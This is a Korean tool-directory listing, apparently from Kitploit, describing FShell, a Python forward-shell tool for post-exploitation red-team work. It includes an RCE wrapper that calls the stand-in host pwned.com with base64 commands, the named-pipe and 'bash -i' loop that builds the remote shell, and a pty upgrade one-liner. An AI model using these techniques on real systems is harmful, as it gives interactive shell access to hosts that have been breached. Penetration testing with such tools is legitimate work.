Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
FShell — 제 python3 Forward Shell 구현 | Kitploit
도구/GitHubGitHub/hypnoze57/fshell
ExploitationPost-ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubhypnoze57/fshell

FShell

제 python3 Forward Shell 구현

저장소 보기
3857년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

FShell

설명

FShell은 제가 구현한 Forward Shell입니다. 원격 코드 실행을 통해 스테이지리스(stageless) 프로토콜(예: HTTP)을 사용해 대화형 tty를 얻도록 설계되었습니다.

왜 forward shell을 사용해야 하나요?

  • 원격 서버가 인터넷에 연결할 수 없어서 리버스 셸이 불가능한 경우
  • 서버가 새로운 외부 연결을 시작하거나 새 서비스를 노출시키고 싶지 않은 경우(취약한 노출 서비스만 사용)

하지만 단점도 있습니다.

  • 초당 많은 요청이 발생함(웹 서버의 경우 많은 액세스 로그가 생성됨)
  • 완전한 대화형이 아님: 자동 완성 없음(이론적으로 구현할 수는 있지만 엄청난 양의 요청이 발생함), 입력이 python 스크립트로 전송된 다음 원격 서버로 전송된다는 점을 기억하세요.

요청 빈도는 BEACONING_DELAY 변수를 수정하여 변경할 수 있습니다.

요구사항

공격자 머신에서

Python3 및 라이브러리:

  • requests
  • termcolor

대상 시스템에서

현재는 Linux만 지원되며 원격 시스템에 기본적인 명령/도구가 필요합니다:

  • python2 (및 pty 모듈)
  • bash
  • mkfifo
  • cat
  • tail
  • ps
  • grep
  • awk
  • kill

사용법

WRITABLE_FOLDER 변수를 수정하세요. /tmp에 쓸 수 없거나 더 나은 위치가 있다면(가급적 /dev/shm 사용) 변경하세요.

원격 코드 실행을 수행하려면 execute 함수를 반드시 재정의해야 합니다:

root@kitploit:~
def execute(cmd, verbose=False, timeout=None):
    """
    :cmd      원격 시스템에서 실행할 원시 셸 명령
    :timetout 필수: 차단 실행 루프를 종료하는 데 사용됨(명명된 파이프 생성에 사용).
              불가능하다면 명명된 파이프 생성을 별도 스레드에 넣으세요.
    :verbose  원격 시스템에서 실행된 전체 명령 출력 (디버그 모드)
    """
    # 여기에 RCE 코드를 넣으세요
    r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
    return r.text.strip() # 출력이 명령의 출력뿐만 아니라면 포맷을 적용할 수 있습니다

명령

  • help_shell: 명령 도움말 출력
  • get_sessid: 원격 서버의 현재 세션 ID 출력
  • upgrade_shell: python을 사용하여 원격 pty를 시작해 대화형 셸 생성
  • exit_shell: 원격 셸을 '제대로' 정리. 다른 사용자로 연결한 경우 먼저 정상적으로 종료하세요.

데모

FShell Demo

작동 방식

개념은 매우 간단합니다.

먼저 원격 시스템에 명명된 파이프를 생성해야 합니다. 셸로 명령을 보내는 데 사용됩니다.
mkfifo /tmp/input.

그런 다음, 명명된 파이프를 지속적으로 읽어 대화형 bash 프로세스로 보내고 stdin과 stderr를 출력 파일로 보내는 bash 루프를 만듭니다.
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1

[명명된 파이프 읽기] -> [명명된 파이프 내용 실행] -> [stdin/stderr를 출력 파일로 전송] -> ['-f' tail 옵션으로 인해 명명된 파이프 읽기로 돌아감]

다음 단계는 셸 출력을 얻기 위해 cat /tmp/output을 주기적으로 수행하는 python 스레드를 시작하는 것입니다.
스레드가 데이터를 찾으면 echo '' > /tmp/output을 사용하여 출력 파일 내용을 지웁니다.
팁: 존재하지 않는 파일로 인한 오류 로깅을 방지하기 위해 스크립트는 'GetOutput' 스레드를 시작하기 전에 'id' 명령을 실행하여 출력 파일을 생성합니다.

마지막 단계 중 하나는 python 스크립트에서 사용자 입력을 받아 명명된 파이프로 보내는 것입니다.
echo USERCMD > /tmp/input

그리고 원격 대화형 tty를 되살리는 마지막 트릭은 'upgrade_shell' 명령입니다. 이 명령은 python -c 'import pty;pty.spawn("/bin/bash")'(및 일부 export와 aliases)를 수행하여 현재 프로세스에 실제 tty를 생성합니다(명명된 파이프 루프에서 사용됨).

감사의 말

@ippsec님께 감사드립니다. 이 영상 Stratosphere HTB Write Up을 보기 전까지 이런 것이 가능하다는 것을 몰랐습니다!

즐겁게 사용하시길 바랍니다!

도구 다운로드